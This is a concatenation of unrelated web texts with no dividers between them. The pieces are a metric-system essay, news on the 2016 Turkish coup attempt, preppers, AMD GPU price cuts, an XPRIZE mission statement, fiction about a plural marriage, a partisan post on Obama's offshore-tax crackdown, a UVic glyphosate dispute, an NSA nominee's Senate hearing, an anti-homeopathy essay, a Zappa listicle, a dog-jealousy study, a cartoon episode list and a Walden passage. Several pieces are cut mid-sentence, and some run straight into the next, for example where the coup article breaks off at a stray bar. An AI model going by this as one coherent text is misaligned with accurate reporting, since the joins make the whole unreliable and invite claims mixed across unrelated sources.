Our decaying invisible infrastructure is thought to be responsible for 98 000 deaths in the US healthcare system each year. It invisibly adds a 10-15% cost to every home
and building constructed in the US. We cannot predict how well our shoes will fit when compared with well defined metric shoe sizes. We must maintain two sets of tools, one for metric and one for Olde English measures. Years ago Pat Naughtin estimated it costs each US citizen about $16.00 per day to maintain our decaying measurement infrastructure.
The US public has an invisible wall of ignorance that conceals scientific and engineering information that is crucial to the survival of human civilization. Be it resource depletion from overpopulation, or carbon emissions that produce global warming, or other scientific topics, the information is generated in metric, and when properly presented, is most understandable and intuitive in metric.
Last week the American Society of Civil Engineers released its report card on the visible American infrastructure. The US received a grade of D+. They do not offer a grade for our invisible weights and measures infrastructure, but I suspect it is close to D- or F at best.
When I was a young boy with a single digit age, I saw a commercial I’ll never forget. Time may have distorted my memory of it, but as I recall there was a young black woman in a cabin teaching another black person how to read. A terrible pounding was then heard at the door and a voice wanted to know what was going on inside. The two people looked terrified. I asked my mother why teaching a person to read was illegal? She explained that teaching slaves to read was against the law during that era. “But why?” I asked. “Because they will begin to think and question, and be exposed to new ideas. This makes them less controllable to those who have enslaved them.” I was shocked that people would enforce ignorance on a population to control and exploit them. It was horrifying. Now and then, when I think about the lack of the metric system in the US, my mind looks back on that commercial, and its larger contemporary meaning.
If you liked this essay and wish to support the work of The Metric Maven, please visit his Patreon Page
Related Essays:
The Magic Infrastructure
The Invisible Infrastructure
The Metric Maven has published a book titled The Dimensions of The Cosmos. It examines the basic quantities of the world from yocto to Yotta with a mixture of scientific anecdotes and may be purchased here.Before Turkish soldiers filed into central Ankara and Istanbul on July 15 many believed the days of Turkish military coups were long gone.
It had been almost 20 years since the last of Turkey's four successfully military coups in 1997 and even much of the opposition praised President Recep Tayyip Erdogan for having finally brought the Turkish army under civilian control.
The coup took observers and Turkish residents alike by surprise, both in its emergence and its bloody execution. Yet by morning it was all over and the government had survived. More than 8,000 people have since been detained in a post-coup crackdown.
Some more creatively-minded Turkish citizens have since suggested that this may have been a "fake coup," a piece of theatre (#darbedegiltiyatro), organized by Erdogan himself to consolidate power.
The evidence does not bear this out. Far from being half-hearted, the strategy of the coup was solid and comprehensive and the execution - despite being ultimately unsuccessful - was not maladroit.
Close call
As most coups are, this was a close-run thing. The plotters struck swiftly, with total element of surprise, and had just one or two key encounters in the course of the coup gone for rather than against them, they may very well have succeeded in temporarily seizing state power.
The coup forces were numerous and had successfully infiltrated the military establishment to a remarkable degree. The coup was led by three of the country's most senior 4-star generals: former Air Force commander Akın Öztürk, 2nd Army General Adem Huduti and 3rd Army General Erdal Ozturk. The Turkish authorities have since detained a total of 103 military officers with a rank of brigadier-general or higher (almost a third of all Turkish generals).
Military coups have a long history in Turkey, the last successful one happened in 1997
The coup forces sent dozens of independent strike |
to allow them to hunker down for a month.
If disaster forces the couple to flee, each has a “bug-out bag” stuffed with three days of food, water, first aid and water purification supplies, fire-starting materials, a tent and sleeping bag, change of clothes and important documents.
At Ready To Go Survival, founder and chief executive Roman Zrazhevskiy said gas masks were quickly moving off the shelves and overall sales “are up like 700 percent over the last two months.”
A prepper himself, he said his greatest fear was a U.S. economic collapse as a result of the country’s unsustainable debt.
“Once people go hungry, they are going to get to the streets and look for food,” said Zrazhevskiy, 31, who grew up in New York City’s borough of Brooklyn and now lives in Texas.
Customers were snapping up $500 CBRN suits to withstand chemical, biological, radiological and nuclear attack and $200 gas masks in sizes that fit children as young as 5.
“Gas masks? I’ve got tons of those,” said prepper Jerry McMullin, 62, a retired risk assessment analyst whose bunker-like home in Yellow Jacket, Colorado, was built to withstand nuclear attack, biological warfare and a range of natural cataclysms.
Although North Korea is one of his biggest concerns, McMullin is also worried about political instability in Washington leading to riots and mayhem in the cities, he said.
“I’m not a paranoid guy. I just want to be in a position that when it does go to Hell, I’m in a good location to get whatever I need,” said McMullin, who has his own water filtration system and burns his own trash in his solar-powered home.
In recent weeks, some doomsayers have expressed a belief that according to Biblical prophesy Saturday, September 23, would kick off seven years of catastrophic events that would lead to the end of the world as we know it.
David Meade, a Christian numerologist and author, has said that, based on the Book of Revelations, a constellation would appear over Jerusalem on Saturday that would start the seven years of mayhem.
But McMullin said his own respect for Bible prophesy assures him that disaster is not around the corner.
“As far as getting wiped out this weekend, I’m not too worried about that,” McMullin said.
Slideshow (6 Images)
“Maybe it’s a timeline marker and things are going to start getting really ramped up. We are not about to go through mass destruction and fatality. I think people are a little more stable - except for Kim,” he said, referring to North Korea’s President Kim Jong Un.
Preppers including Yellin and McMullin said images of people incapacitated by recent natural disasters left them feeling vindicated about the stockpiles they keep, which raise eyebrows among those who consider their planning extreme.
“I’m more of what I consider a common sense prepper,” Yellin said. “Because at the end of the day, we are responsible for our own safety.”AMD have always strived to offer great value for money and their price vs performance ratios have always proven to be a thorn in the side of Nvidia. While Nvidia may be plowing through the industry with a few higher performance cards, AMD are dropping their prices on higher performance products to better compete with Nvidia in their respective price ranges.
While some may say this is AMD trying to keep up, I say “who cares!”, fact is that as a consumer, we’re the ones who win in this graphics card battle and with AMD now dropping the prices of their R9 290 and R9 280 series graphics cards even further, despite the fact they lowered them just last month! It’s never been a better time to buy an AMD card.
The Radeon R9 290X is down from $449 to $399, a far cry from the $549 starting price when the card was launched. The standard Radeon R9 290 is down from its $399 launch price to a very reasonable $299; that’s right, a 290 is now less than $300!
The R9 280X is down to just $270, only $30 short of the 290, but the cards are quite close in terms of performance. One of the best discounts is that the recently launched R9 285 “Tonga” is now down to just $229, putting it within $10 of the GTX 760 price.
There are now a wide range of very high performance cards available for around $300 and with the GeForce GTX 970 available for $329, high-end PC gaming has never been so affordable.
Thank you WCCFTech for providing us with this information.We are XPRIZE. We are the global leader in designing and implementing innovative competition models to solve the world’s grandest challenges. We believe that inherent to every individual on the planet is a creative, entrepreneurial and inventive spirit, and as a global community – or crowd – we can activate this ingenuity and create innovation to collectively solve the Earth’s most pressing problems. Technology that was once only accessible to government and big business, is now in the hands of and -- in terms of smart phones – the pockets of individuals. This has led to the democratization of problem solving. XPRIZE uses this to design an intricate instrument to leverage the global crowd to source these necessary solutions, moonshots that accelerate the pace of invention for desperately-needed innovation. With this innovation, humanity as a whole benefits by having access to what was once scarce, and is now made abundant. This includes basic human necessities like clean water, access to quality healthcare, education and learning, safe and affordable housing, space exploration, food and nutrition, a sustainable planet and environment, personal safety and security. This, we believe, is true abundance for all.Jacob and Becca met when they were teenagers, and no one could deny that there was a spark between them. They would hang out with each other in group outings with their friends, neither one of them brave enough to make the first move. When as a young adult Jacob finally got the courage to ask Becca on a date, he was amazed at how quickly she agreed. All these years he had no idea that she felt the same way about him as he did her. Their courtship was short and sweet, and after just a few months Jacob asked Becca’s father for her hand in marriage. The two had a small private ceremony, after which the two spent the evening star gazing and discussing their future. Becca and Jacob both came from plural marriages, and their parents expected they would live the lifestyle. Jacob was not completely sold on plural marriage, but after a long night of talking with Becca he was persuaded.
Not long after their marriage, Jacob and Becca moved into a quaint ranch home in a nice neighborhood. The house depleted most of their savings, and left very little to buy furnishings or to live off of. However, being penniless couldn’t bring this happy couple down, as this house was a symbol of their family’s future.
Money was tight and Jacob accepted the first job offer that came his way. Working as a mailroom technician wasn’t glamorous, but it was an opportunity to make some money and keep the utility bills paid. Becca took a job as a writer’s assistant, hoping that it would someday lead to her own career as a famous author. However, if she was being honest, Becca was more focused on writing a different story than the one her boss was asking for help with. She was eager to start her family’s story, and to her there was no better way then by asking Jacob if they were ready to have their first child.
It didn’t take too much convincing. Together they were committed to growing their family and filling the empty echoing rooms of their house with the sound of pitter-pattering feet.
It didn’t take long for Becca to get pregnant. Both Becca and Jacob were thrilled beyond belief about their upcoming addition to the family.
It was around this time that Jacob met Katrina. After a long day at work, Jacob went with several coworkers to a local nightclub to blow off some steam. Jacob found himself separating from his group of friends as they all proceeded to get drunk at the bar with another group that was already out partying. Drinking wasn’t really Jacob’s thing, and he felt alienated by the fact that he wasn’t participating in the festivities with his work buddies. He was heading out the door to leave when a beautiful woman caught his eye. She was dancing alone in the back corner of the dance floor. As it turns out, Katrina had come to the bar with the group of people that had merged parties with Jacob’s coworkers at the bar. She wasn’t interested in drinking either, but she was determined to enjoy her night anyway. Jacob and Katrina danced late into the night together. At the end of the night, Jacob and Katrina went out for some fresh air. Katrina began to coyly as if Jacob was single. Jacob was very open and explained to Katrina that he was married, and that he and his wife were looking to practice plural marriage. Katrina had no previous experience with plural families, and was shocked. She told Jacob that it was getting late, and that it would be best if he left. Jacob headed home that night convinced that he would not hear from Katrina again.
Not long after Jacob got home, Becca’s water broke. They grabbed their overnight bags and rushed off to the hospital. Due to complications, Becca had to have a c-section. An anxious Jacob waited just outside the operating room.
The surgery went well, and soon Becca was holding her baby daughter in her arms for the very first time. They decided to name the baby Leah after Becca’s grandmother. Leah’s birth was a proud moment for Jacob and Becca, one that they hoped was the first of many.
The first week home with a newborn was rough. Leah would wake constantly during the night to be fed or simply held. Jacob insisted on taking turns waking at night to care for the baby, despite the fact that he was to be up early in the mornings for work. By the second week home from the hospital, the two felt like they were finally starting to get into the groove of being new parents.
Then Jacob got a surprise phone call.
It was Katrina. She explained to Jacob that she had given it a lot of thought, and she had come to the conclusion that she would be okay with the idea of plural marriage; especially if that meant that she would get the chance to see him again. Jacob and Katrina went on their first date that night with Becca’s blessing.
However, once Jacob had left for the evening, Becca found herself sitting home alone holding her crying newborn daughter. As she prepared Leah’s bottle, she had her first moment of doubt about plural marriage. Up until then, it was just her and Jacob. His love was solely focused on her, and now there was a real chance that she wouldn’t be his entire world anymore. Would tonight lead to a larger and warmer home, or would it be the first of many nights home alone?
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The mainstream press has ignored it, but President Obama has racked up a series of major victories against the wealthiest Americans who try to hide money overseas in order to avoid paying taxes.
The Hill’s Bernie Becker and Peter Schroeder reported:
President Obama’s battle against offshore tax evaders hasn’t gotten the publicity of some of his other priorities but under his tenure the IRS has amassed a string of victories — perhaps none larger than undercutting the Swiss banking sector’s status as the gold standard for secrecy.
…. Taken altogether, the crackdown appears to be having an impact, according to experts. “The risk calculus for an American to hide money somewhere has changed dramatically from where it was 10 years ago. Dramatically,” said Scott Michel, an expert on offshore tax issues with Caplin & Drysdale.
The President’s efforts aren’t getting the media attention that deserve, but Obama has cracked down on wealthy tax cheats who are trying to hide their money overseas in order to avoid paying taxes in the United States.
In 2012, it was estimated that the wealthiest Americans were hiding $70 billion overseas. Globally it was estimated that as much as $32 trillion was being hidden overseas. For the first time in recent history, a U.S. president is going after those who are breaking the law in order to hide paying their fair share.
As a presidential candidate in 2012, Mitt Romney refused to release his tax returns. Speculation as to why was centered around the complicated financial overseas maze that Romney had set up in order to avoid paying his fair share of taxes. While experts caution that the IRS might only be catching the small fish right now, the fact that anyone is being caught is a major victory for people who have unfairly had more of the tax burden placed on their shoulders because they are honest and play by the rules.
President Obama is bringing about positive change in both ways both big and small, seen and unseen, on a regular basis.
This is the type of new direction that millions of Americans voted for twice when they elected Barack Obama, and it represents change that they really can believe in.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The Department of Environmental Studies has drawn criticism from students after hosting a former research scientist for Agriculture Canada whose views on genetically modified crops have been met with heated opposition in the past. Dr. Thierry Vrain, a research scientist turned organic farmer and anti-GMO advocate, gave an open talk as part of an Environmental Studies course on Nov. 22. The talk focused on glyphosate, a commonly-used herbicide originally developed by Monsanto in 1970. Vrain railed against the chemical, pointing to several studies that questioned its safe use, as well as glyphosate’s new listing as a “probable carcinogen” by the International Agency for Research on Cancer (IARC). However, Vrain’s talk was criticized long before it took place. Richard Liam Nixon, a graduate student in UVic’s Department of Biochemistry and Microbiology, said he spoke out because Vrain’s presentation was based on pseudoscience and flawed research. Initially developed in 1970, glyphosate is now the world’s most commonly-used herbicide. Monsanto has a trademarked formulation called Roundup, but glyphosate itself has been off-patent for 15 years. Glyphosate has no effect on crops that have been genetically engineered to resist it, such as soy and corn, but it inhibits an enzyme in surrounding weeds, causing them to die off.
“Pesticides are thought of as environmentally dangerous, and that is not really the case if you consider it from a holistic perspective,” said Nixon. “Glyphosate application increases yield, increased yield means less farmland has to be used to grow the same amount of food, [and] if we can use less farmland, that means we’re going to have [less] fertilizers, pesticides, and water, we’re going to have less habitat destruction occurring, and we’re going overall reduce emissions.” One of the studies that Vrain cites is a retracted 2012 article by Gilles-Eric Séralini, published in the journal Food and Chemical Toxicology, on the long- term effects of feeding genetically modified maize as well as water containing Roundup to rats. The study was dismissed by the majority of the scientific community, who cited the small number of rats studied, overfeeding, and the cancer-prone nature of the rat species as major faults. The study has since been altered and re-published in a pay-to-publish journal. “For UVic to give a podium to someone who’s spreading dangerous rhetoric that has an impact not only on Canada’s environment but on our economy and social perception of biotechnology... [that] has devastating impacts,” Nixon told the Martlet in advance of the talk.
When the Martlet asked Jeremy Caradonna, a sessional instructor for the course in question, about his decision to invite Vrain in light of the controversies surrounding his views, Caradonna referred the Martlet to a post that the two had co-authored on resilience.org, a non-peer-reviewed website and forum. Titled “The ‘Non-GMO’ Label Doesn’t Go Far Enough: Taking Stock of GMOs and Glyphosate,” the article calls for banning of glyphosate on all food crops in North and South America. “The pro-GMO camp [focuses] very narrowly on the question of science, and tend to reject the independent (that is, non-industry-funded) and peer-reviewed studies that show that, in particular, glyphosate is hugely problematic,” Caradonna wrote in an email to the Martlet. When we asked to be put in touch with Vrain, Caradonna declined. “[Vrain] receives lots of inquires, and attacks, and he needs to be careful about these sorts of things,” said Caradonna. “He and I are in the middle of perpetual battle with those who blindly assume that GMOs and glyphosate are safe.” When asked if he would invite another speaker to his class to present a counter-argument on the topic of glyphosate or GMOs, Caradonna was equally resistant. “This presentation is not meant to be a debate,” he said. ”Dr. Vrain and I don’t see this is [sic] a debate with two equally valid sides.” However, the Q&A portion of Vrain’s talk was nothing if not a debate, with a couple members of the audience, Nixon included, and Vrain sparring back and forth throughout. The debate came to a head when Nixon asked about Vrain’s refusal to consider the validity of any corporate-funded studies.
“Is that the rhetoric that we should be saying in an academic institution?” Nixon asked. “That we should not trust information simply based on the source it comes from?” “I think it’s really important to know where a study comes from,” Vrain replied. “Was the funding for a particular study coming from the company that is promoting the chemical, or from a lab that has nothing to do with it?” “Why then did you have no problem with Séralini, who literally markets a homeopathic remedy for glyphosate poisoning?” said Nixon. “He’s also received millions of euros from organic firms who have a financial incentive to discredit glyphosate.” Caradonna interjected. “What do you make of the fact that a French court reviewed that [study] and then upheld its findings this year?” Nixon said the French court only found that someone else who had claimed Séralini is a fraud was guilty of libel. “But if we look at the study itself, you’ll notice that the control group of rats died sooner than the rats fed the highest percentage of GM crops,” he said. “The rats that were used are not intended for a two-year study, [because] they’re genetically prone to developing tumours.”The National Security Agency must be more accountable and transparent to the US public about its operations following the furore caused by the leak of top-secret files by Edward Snowden, Barack Obama’s nominee to lead the agency said on Tuesday.
However, vice-admiral Michael Rogers offered no new concessions on the policy of mass data collection exposed by Snowden, the former NSA contractor whose unprecedented whistleblowing prompted a global debate about the nature of government surveillance.
Rogers told the Senate armed services committee that he had learned from the Snowden saga that, as NSA director, he would “have to be capable of communicating in a way that highlights what we are doing and why to the greatest extent possible”. He was appearing before the committee as the nominee to lead the US military’s Cyber Command and, if confirmed, will lead both agencies.
“I believe that one of my challenges as the director, if confirmed, is: how do we engage the American people, and by extension their representatives, in a dialogue in which they have a level of comfort as to what we are doing and why?” he said.
He declined an invitation to describe Snowden as a “traitor”. And under prickly questioning from John McCain, Rogers also suggested that the NSA needed to be more forthcoming if it breached the rules governing its activities.
“We have to ensure strict accountability on the part of the National Security Agency,” said Rogers. “We have to make sure that we do, in fact, follow those processes appropriately, and when we make a mistake, if we fail to meet those requirements, that we’re very up front about how and the why.”
He also agreed with McCain that “a select committee to investigate this entire issue” should be convened by members of congress in response to the wide range of issues raised in the past nine months.
Yet Rogers, a 32-year US navy veteran, offered a robust defence of the NSA’s surveillance activities and promised to develop a more active American policy of “deterrence” against adversaries in cyberspace.
He complained that plans announced by Obama amid intense criticism in January to transfer the storage of bulk telephone records to an independent body would complicate the NSA’s operations and cost significantly more money.
Stressing that he supported Obama’s plan, Rogers said in written testimony before his appearance: “If a private third party holds the data, I expect it would be at greater expense and could introduce other complexities.” He warned users that telephone companies may need to “alter their procedures in ways that raise new privacy concerns”.
Asked what capabilities the NSA would need to keep after Obama’s promised “transition” away from the use of section 215 of the US Patriot Act to justify the harvesting of vast amounts of metadata from American telephone users, Rogers appealed for similar powers.
“I believe that we need to maintain an ability to make queries of phone records in a way that is agile and provides results in a timely fashion,” he said. “Being able to quickly review phone connections associated with terrorists to assess whether a network exists is critical.”
Rogers told senators that he also had “concern” about the idea of leaving bulk metadata with the phone providers themselves, forcing intelligence agencies to obtain a court order compelling them to produce records relating to individual suspects.
Saying he doubted whether “such an arrangement would produce records in a timely fashion”, Rogers then repeated his earlier statement: “Being able to quickly review phone connections associated with terrorists to assess whether a network exists is critical.”
And he stressed that even if section 215 were allowed to expire next year, the NSA would be able to maintain similar capabilities for obtaining telephone records if “existing authorities were modified to enable more flexible acquisition of such records”.
In his written submission Rogers also repeated a suggestion made previously by Obama and a string of other senior US officials that the “section 215” program might have helped US spies who failed to intercept a phone call made by Khalid al-Mihdhar, one of the September 11 hijackers, from California to an “al-Qaida safe house in Yemen”.
His claim was struck down by Senator Mark Udall, Democrat of Colorado, who has consistently objected to the repeated use of this case in particular by security officials in their attempts to justify the program.
“I’m concerned by the implication that somehow the section 215 program could have prevented 9/11,” Udall told Rogers. “As the 9/11 commission pointed out, the CIA knew about al-Mihdhar, but did not tell the FBI. So the argument that business records data could have been the key to identifying al-Mihdhar doesn’t stand up in my view.”
During Tuesday morning’s hearing Rogers repeatedly declined to answer questions about the NSA on the basis that he had not yet joined the agency and that there were many details relating to its operations of which he was not aware.
However he appeared to surprise Senator Ted Cruz by declining to agree that every American was protected against unwarranted searches of their information by the fourth amendment to the US constitution unless they were the subject of “individualised suspicion”.
“I don’t know that I would make a blanket statement,” said Rogers. “I’m not a lawyer … that’s not my area of expertise”.published on Sep 21st 2011
The Challenge of Homeopathy
I have a great challenge for you.
Take on a serious subject — health — and convince millions of people that you have found a revolutionary method of curing many illnesses. Claim that you can help or even completely cure people of everyday maladies as well as deadly diseases like AIDS and tuberculosis. Pit yourself against the science of medicine, one of the humanity's greatest achievements.
And for all that, you cannot use anything other than the most trivial, commonplace, clearly non-medicinal substance — a drop of ordinary water.
You must make millions of people think that your remedies are helping them, even more than other healing methods. Make them avoid going to real doctors. Make them stop taking real medicine because they are convinced your water will heal them. Make them push your products to their friends and family. They should be giving it to their sick children thinking it will help, even going so far as to endanger their lives.
But, it's not enough to convince lay people. Your practitioners should believe that their drugs are effective. Convince pharmacists and physicians that it's a real alternative to actual drugs. Let there be hospitals treating patients with nothing but water and schools giving diplomas in your made-up science. Make governments and health insurance firms pay for your remedies like they're real. We're not talking about corrupt countries with poorly educated population, some of the most advanced countries in the World should do so.
The media should talk about it as an advanced method, in spite of it being as primitive as phrenology, and that it has completely missed the advancements of the 20th century science. People should think that it is eastern in origin, although it is product of West European traditional medicine, just like bloodletting and drinking alcohol.
Your products should be sold in pharmacies right next to drugs that have to pass tests and clinical trials — but your's don't. Make little granules that anyone can test for efficacy. Then, having failed a century of testing to back up any one of your claims, let it be publicly asserted that your remedies are "scientifically proven to work". Go as far as writing on each bottle "not proven to work", and people should nevertheless buy it thinking that it is.
And should someone ask for an explanation how is it possible, you can only provide theories that contradict what we know of physics and chemistry. Let it be acceptable to say that all of the knowledge that we have collected through the centuries is somehow invalid, should it happen to disagree with your ideas.
If you can get away with all that, you will show how human kind can be fooled with just about anything.
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The Bangor Music Festival kicks off tomorrow and has set aside a whole day to commemorate the music of late American rocker, campaigner, iconoclast and composer Frank Zappa.
There'll be live performances, plays and films in honour of the "zany, irreverent genius" and fans will even be able to chat to his widow Gail live by video link from the US.
But it got us wondering how rock history might have turned out very differently had Frank actually come from Wales in the first place.
7. He would have been a great Mayor of Aberystwyth
Don't laugh, it's not so improbable - Zappa was a fan of '60s Scots prog-folkies The Incredible String Band and let them shoot a couple of their album covers in his garden.
Furthermore, the band's singer and bassist Rose Simpson ended up Lady Mayoress of the Ceredigion town in 1994, as a result of being the partner of Lib Dem councillor Bob Griffin.
If only Frank had hooked up with her and gone into regional Welsh politics instead, who knows what the outcome could've been.
6. Despite famously never having taken drugs, he'd have got on really well with Howard Marks
Indeed, the notorious hashish smuggler-turned-best selling author from Bridgend was a huge fan of Zappa, especially his 1968 doo-wop album Cruising With Ruben & The Jets.
"When I get stoned one of the things that appears to happen to me is time slows down - the only explanation I can give for which is that I start thinking quicker and begin noticing things I previously didn't," said Marks.
"Well, this is one album which does that to me without me having to get stoned - both the complexity and simplicity of the music is incredible."
5. He knew his Valleys rock and roll
In fact, so versed was Zappa with the Welsh music scene that he described late Merthyr Tydfil guitarist Micky Jones- who founded the rock group Man - as "one of the 10 best guitarist in the world."
And anyone who knows the rigidly high standards Zappa demanded of his band members - and, indeed his own virtuoso levels of playing - will realise that's quite a compliment.
4. He'd never have eaten the yellow snow
So well loved is Zappa's '74 song about eskimos mistakenly eating the same snow their huskies have widdled on that, during the recent spate of wintery weather across Wales, yellow snow warnings from the Met Office were retweeted en masse with the knowing hashtag whatwouldZappado?
3. He secretly loved Dylan Thomas
Listen very carefully to the 1988 live album You Can't Do That On Stage Anymore Vol 1 and you'll hear Zappa quoting the passage from Under Milk Wood where Mr Pugh plans to poison his wife.
"He prepares the compound for Mrs Pugh a venomous porridge unknown to toxicologists which will scald and viper through her 'til her ears fall off like figs, her toes grow big an black like balloons and steam come screaming out of her navel."
We don't know why it happens, the LP was certainly strange enough without the words of the sozzled Swansea bard suddenly appearing out of the blue like that.
2. He wrote Valley Girl
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He had a definite appreciation for the ladies of South Wales, as the title of his 1992 hit Valley Girl would attest.
Okay, okay, so we realise that he's actually referring to teenagers from the San Fernando Valley in California and their inane way of talking, but we doubt it would've worked as well had it been about Cynon Valley and contained with colloquial lyrics like, "Oh my God, mun, I'm tamping," and "Oi butt, those daps are gopping."
1. He liked to hire Welsh musicians
Just like this violinist from Ponty who played on the classic Zappa track King Kong. Eh? Oh, sorry - turns out he's French and his name's Jean-Luc Ponty.
Whoops.
For more information and tickets visit www.bangormusicfestival.org.uk
Keep everyone entertained with the WOWalesOnline Facebook pageMan's best friend does not like anything muscling in on that friendship. The first experimental test of jealousy in dogs shows that canines nip even at stuffed pooches when these fakes take away the attention of the dogs' owners.
This new findings support the view that jealousy is a primordial emotion seen not only in humans, but in other animals as well, researchers said. The results also show that jealousy does not require especially complex minds, the scientists said.
Understanding jealousy is an important matter, because of the damage this emotion can trigger. "Jealousy is the third-leading cause of non-accidental homicide across cultures," said lead study author Christine Harris, an emotion researcher at the University of California, San Diego.
It is commonly assumed that jealousy is unique to humans, in part because of the complexity of thought the emotion entails, such as gauging what threat a rival poses to a relationship. The vast majority of research on jealousy concentrates on romantically linked jealousy over potential or actual infidelity. [Lie, Cheat & Steal: The 10 Most Destructive Human Behaviors]
However, scientists have argued for years over whether jealousy does require complex minds. In addition, researchers have noted jealousy is not always about sex, with the emotion frequently concerning siblings, friends and even co-workers. This suggests jealousy, at its most basic level, evolved to protect any social relationship from interlopers. All in all, this hints that jealousy might exist in other social animals; indeed, Darwin suggested that jealousy might exist among dogs, in particular.
Harris saw evidence of such canine jealousy first hand. "I was visiting my parents, who have three border collies, and I was petting two of them, and they both wanted to knock my hands off the other dog so that I was petting them with both my hands, not just one," Harris said. "They wanted exclusive attention. That got me to thinking about jealousy in dogs."
Dogs rear their green heads
Since no prior experiments investigated jealousy in dogs, the researchers adapted a test used with human infants. A number of studies have found that infants as young as 6 months of age can demonstrate jealousy — for example, when their mothers interacted with what appeared to be another infant, but was actually a realistic-looking doll.
The scientists worked with 36 dogs in the dogs' own homes, videotaping the canines while their owners completely ignored their pets in favor of three different items: a stuffed animated dog that briefly wagged its tail, barked and whined; a jack-o'-lantern; and a pop-up children's book that played melodies. The researchers chose relatively small dogs, ones less than 35 pounds (15.8 kilograms) or shorter than 15 inches (38.1 centimeters), since smaller dogs would be easier to control in case their jealousy got out of hand. [What 7 Dog Breeds Say About Their Owner's Personality]
The owners were instructed to treat the fake dog and the jack-o'-lantern like they were real dogs, by petting the objects and talking to them sweetly. When it came to the book, the owners were asked to read the text out loud.
The scientists found dogs acted far more jealous when their owners displayed affection to the stuffed dog compared with the other items. The canines were nearly twice as likely to push or touch the owner when the owner was playing with the fake dog compared with the jack-o'-lantern, and more than three times as likely to do so when compared with the book. Furthermore, about one-third of the dogs tried to get between their owners and the stuffed toy. And while one-quarter of the dogs snapped at the fake dog, only one did so at the jack-o'-lantern and book.
"These weren't just aggressive acts they carried out. They tried positive things like being more affectionate to regain their loved one's attention, to try and gain their relationship back," Harris said.
These findings suggest the dogs believed the stuffed toy was a rival. Eighty-six percent of the dogs even sniffed the toy dog's rear end during or after the experiment.
"Many people have assumed that jealousy is a social construction of human beings, or that it's an emotion specifically tied to sexual and romantic relationships," Harris said in a statement. "Our results challenge these ideas, showing that animals besides ourselves display strong distress whenever a rival usurps a loved one's affection."
The reason for jealousy
These findings also challenge the notion that only humans, with their complex thoughts, can experience jealousy, the researchers said.
"This supports the idea that one can get jealous without needing complex cognition about the meaning of interactions between a rival and a loved one," Harris said. "All you need is losing the attention a loved one gives to a rival."
Interestingly, "not all dogs showed what we would think of as jealous behaviors," Harris said. "It's possible these are not very bright dogs, who didn't even realize these items were something to be jealous over, or maybe they were very bright dogs who were not fooled by these inanimate objects. Another possibility is that the bond may not have been very strong with the owner."
Future research might experiment with stuffed dogs that don't bark, whine or wag their tails, comparing them with ones that do, or experiment with other kinds of stuffed animals, such as fake cats or dolls of humans.
"My guess is that there are going to be two factors contributing to jealousy in dogs. One is the amount of attention and affection a thing is shown, and the second is whether that item is something that looks like another living being," Harris said. "My guess is that dog jealousy is not going to be limited to something that looks like a dog."
Future studies might also test if other animals get jealous. The researchers suggested examining species in which offspring vie with each other for attention, affection, care and food from their parents, and species in which animals bond in mating pairs. Domestic cats might be an interesting choice for analysis, since they bear litters of kittens that might compete with each other, but do not bond in mating pairs.
Harris and her colleague Caroline Prouvost detailed their findings online July 23 in the journal PLOS ONE.
Copyright 2014 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.0:00 - SHOULD I PLAY OR SHOULD I GO?Pencilmate just wants to join in on the fun!! Why does everyone keep leaving him??Let's keep having some FUN!! Keep the fun going by catching these PARTY POOPERS in the act right here:1:38 - BREEZY PEASYA little gust of wind finds his calling helping Pencilmate!4:18 - IN PLANE SIGHTPencilmate has the time of his life on a toy plane!7:23 - TWIN GEEKSPencilmate gets a mischievous twin.9:48 - ONE MAN’S TRASH IS ANOTHER MANPencilmate tries to score a trashcan goal.11:07 - LORD OF THE FRIESPencilmiss will do anything to get Pencilmate’s fries…13:28 - PUTT’S UP DOC?Pencilmate attempts to play golf until a strange toon and menacing snake invite themselves to his party.16:34 - COCK-A-DOODLE DUDEMove over Rooster, 2018 is the year of the Dog!17:28 - DIAPER ANOTHER DAYPencilmate’s baby has a stinky surprise for him!18:30 - ANT MISBEHAVIN’It all goes down the anthill for Pencilmate…19:55 - ON THE FLYA very annoying fly will not let Pencilmate read his paper in peace. But what exactly does it want?22:21 - BUT OF THE JOKEPencilmate’s has some derrière problems.24:02 - BORDER DISORDERWas the apple tree before the border or the border before the apple tree?25:27 - BEE MINELove is hard to come by… but a couple of bee stings can do the trick!27:24 - WORDPLAYWho is messing with this toon’s perfect font? Sometimes it’s better not to assume things too quickly.29:33 - DISCOH—NO!Penciltoons can get the party restarted!ABOUT PENCILMATION :Pencilmation is a cartoon channel for kids and not-too-serious |
some solid and honest though earthy foundation. I cannot but perceive that this so called rich and refined life is a thing jumped at, and I do not get on in the enjoyment of the fine arts which adorn it, my attention being wholly occupied with the jump; for I remember that the greatest genuine leap, due to human muscles alone, on record, is that of certain wandering Arabs, who are said to have cleared twenty-five feet on level ground. Without factitious support, man is sure to come to earth again beyond that distance. The first question which I am tempted to put to the proprietor of such great impropriety is, Who bolsters you? Are you one of the ninety-seven who fail, or of the three who succeed? Answer me these questions, and then perhaps I may look at your bawbles and find them ornamental. The cart before the horse is neither beautiful nor useful. Before we can adorn our houses with beautiful objects the walls must be stripped, and our lives must be stripped, and beautiful housekeeping and beautiful living be laid for a foundation: now, a taste for the beautiful is most cultivated out of doors, where there is no house and no housekeeper.
Old Johnson, in his “Wonder-Working Providence,” speaking of the first settlers of this town, with whom he was contemporary, tells us that “they burrow themselves in the earth for their first shelter under some hillside, and, casting the soil aloft upon timber, they make a smoky fire against the earth, at the highest side.” They did not “provide them houses,” says he, “till the earth, by the Lord’s blessing, brought forth bread to feed them,” and the first year’s crop was so light that “they were forced to cut their bread very thin for a long season.” The secretary of the Province of New Netherland, writing in Dutch, in 1650, for the information of those who wished to take up land there, states more particularly that “those in New Netherland, and especially in New England, who have no means to build farmhouses at first according to their wishes, dig a square pit in the ground, cellar fashion, six or seven feet deep, as long and as broad as they think proper, case the earth inside with wood all round the wall, and line the wood with the bark of trees or something else to prevent the caving in of the earth; floor this cellar with plank, and wainscot it overhead for a ceiling, raise a roof of spars clear up, and cover the spars with bark or green sods, so that they can live dry and warm in these houses with their entire families for two, three, and four years, it being understood that partitions are run through those cellars which are adapted to the size of the family. The wealthy and principal men in New England, in the beginning of the colonies, commenced their first dwelling houses in this fashion for two reasons; firstly, in order not to waste time in building, and not to want food the next season; secondly, in order not to discourage poor laboring people whom they brought over in numbers from Fatherland. In the course of three or four years, when the country became adapted to agriculture, they built themselves handsome houses, spending on them several thousands.”
